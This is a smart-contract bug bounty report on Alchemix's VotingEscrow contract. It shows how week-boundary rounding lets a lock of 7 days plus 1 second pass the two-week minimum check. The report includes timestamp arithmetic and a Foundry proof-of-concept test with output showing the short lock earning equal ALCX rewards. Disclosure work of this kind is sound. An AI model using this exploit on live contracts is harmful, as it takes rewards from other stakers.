31276 - [SC - High] BPT can be locked for only week resulting in u...
Submitted on May 16th 2024 at 03:32:46 UTC by @marchev for Boost | Alchemix
Report ID: #31276
Report type: Smart Contract
Report severity: High
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol
Impacts:
Theft of unclaimed yield
Description
Brief/Intro
The 80/20 ALCX/WETH BPT has a minimum lock period of 1 epoch (2 weeks). However, a flaw allows malicious actors to lock their BPT for just 1 week, resulting in unfair ALCX reward distribution. This means a malicious actor can unfairly claim rewards without meeting the minimum 2-week lock requirement.
Vulnerability Details
The _createLock()
function is responsible for creating a lock when depositing Balancer Pool Tokens in VotingEscrow
. It should enforce a minimum lock period of 1 epoch (2 weeks):
function _createLock(
uint256 _value,
uint256 _lockDuration,
bool _maxLockEnabled,
address _to
) internal returns (uint256) {
// ...
uint256 unlockTime = /** ... */ ((block.timestamp + _lockDuration) / WEEK) * WEEK;
// ...
require(unlockTime >= (((block.timestamp + EPOCH) / WEEK) * WEEK), "Voting lock must be 1 epoch");
// ...
}
However, this check is flawed. A malicious actor can lock BPTs for just 1 week instead of the required 2 weeks. This allows them to unjustly receive rewards as if they had locked their BPTs for a whole epoch, effectively stealing rewards from other participants.
Example Scenario:
Next epoch starts at
1717632000
(Thu Jun 06 2024 00:00:00 UTC)
Alice locks 1 BPT for
2 weeks
(1 epoch) atblock.timestamp = 1716422401
(Thu May 23 2024 00:00:01 UTC)Bob locks 1 BPT for
7 days + 1 seconds
atblock.timestamp = 1717027199
(Wed May 29 2024 23:59:59 UTC)The epoch resets on
1717632000
(Thu Jun 06 2024 00:00:00 UTC)
Expected behavior: Bob should not be able to lock his BPT for less than 1 epoch (2 weeks).
Actual behavior: Alice and Bob receive equal rewards.
Bob circumvents the minimum lock duration check. Here’s why:
block.timestamp = 1717027199
unlockTime = ((block.timestamp + _lockDuration) / WEEK) * WEEK
unlockTime = ((1717027199 + 7 days + 1 seconds) / WEEK) * WEEK
unlockTime = 1717632000
The check performed:
unlockTime >= (((block.timestamp + EPOCH) / WEEK) * WEEK)
1717632000 >= (((1717027199 + 2 weeks) / 1 weeks) * 1 weeks)
1717632000 >= 1717632000
The check passes for Bob, even though his lock time is only 7 days + 1 second
.
Impact Details
The flawed minimum lock time check allows users to lock BPTs for only 1 week but still receive rewards for a full epoch. This results in unfair reward distribution, with malicious users effectively stealing rewards from others.
References
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1375-L1381
Proof of Concept
The following coded PoC demonstrates the issue.
Add the following test case to VotingEscrow.t.sol
:
function test_can_create_lock_for_less_than_1_epoch() public {
console.log(newEpoch());
address alice = address(1337);
vm.label(alice, "Alice");
address bob = address(31337);
vm.label(bob, "Bob");
// Mint Alice & Bob some BPT
deal(bpt, alice, 10e18);
deal(bpt, bob, 10e18);
// Warp time to exactly 2 weeks before the new epoch
hevm.warp(newEpoch() - 2 weeks);
hevm.startPrank(alice);
IERC20(bpt).approve(address(veALCX), 1e18);
uint256 aliceTokenId = veALCX.createLock(1e18, 2 weeks, false);
voter.reset(aliceTokenId);
// Alice locks 1 BPT for 2 weeks (the minimum lock period) and reset the tokenId
hevm.stopPrank();
// Warp time to 7 days and 2 seconds before the next epoch starts
hevm.warp(newEpoch() - (7 days + 2 seconds));
hevm.startPrank(bob);
IERC20(bpt).approve(address(veALCX), 1e18);
uint256 bobTokenId = veALCX.createLock(1e18, 7 days + 1 seconds, false);
// Bob succeeds in locking 1 BPT for 7 days + 1 seconds which is less than the required minimum lock period of 1 epoch (2 weeks)
voter.reset(bobTokenId);
hevm.stopPrank();
// Warp time to the start of the new epoch
hevm.warp(newEpoch());
// Distribute the rewards
voter.distribute();
// Print the unclaimed rewards accrued by Alice & Bob
console.log("Unclaimed ALCX (Alice): %s", distributor.claimable(aliceTokenId));
console.log("Unclaimed FLUX (Alice): %s", flux.getUnclaimedFlux(aliceTokenId));
console.log("Unclaimed ALCX (Bob): %s", distributor.claimable(bobTokenId));
console.log("Unclaimed FLUX (Bob): %s", flux.getUnclaimedFlux(bobTokenId));
}
Make sure the following entries are updated in Makefile
:
# file to test
FILE=VotingEscrow
# specific test to run
TEST=test_can_create_lock_for_less_than_1_epoch
Run the PoC via:
make test_file_test
PoC output:
Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] test_can_create_lock_for_less_than_1_epoch() (gas: 3647937)
Logs:
Unclaimed ALCX (Alice): 1023262077024604404512
Unclaimed FLUX (Alice): 38356132673449616
Unclaimed ALCX (Bob): 1023262077024604404512
Unclaimed FLUX (Bob): 19178113901412783
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 45.46s (33.49s CPU time)
Ran 1 test suite in 46.90s (45.46s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Last updated
Was this helpful?